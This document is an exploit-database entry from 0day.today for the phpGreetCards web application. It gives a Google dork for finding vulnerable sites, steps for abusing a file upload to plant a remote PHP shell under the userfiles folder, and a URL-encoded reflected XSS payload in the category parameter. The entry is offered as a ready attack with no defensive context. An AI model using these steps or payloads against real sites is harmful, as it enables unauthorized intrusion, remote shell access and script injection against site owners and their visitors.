phpGreetCards XSS/Arbitrary File Upload Vulnerability

2008-12-23T00:00:00
ID 1337DAY-ID-4532
Type zdt
Reporter ahmadbady
Modified 2008-12-23T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =====================================================
phpGreetCards XSS/Arbitrary File Upload Vulnerability
=====================================================


...................................................................................................

****(remote shell upload/xss)****

script: phpGreetCards
   
***************************************************************************
download from:http://www.w2b.ru/download/phpGreetCards.zip
   
***************************************************************************
www.site.com/path/index.php?mode=select&category

shell: www.site.com/path/userfiles/number_shell.php
-----------------------------------------------------------------------------------------
dork:"powered by phpGreetCards"

if folder userfiles is forbidden
after get upload file u do right-click and see image properties and u see address file.
  
------------------------------------------------------------------------------------------
xss:
index.php?mode=select&category=>"><ScRiPt%20%0a%0d>alert(0)%3B</ScRiPt>  
**************************************************



#  0day.today [2018-02-06]  #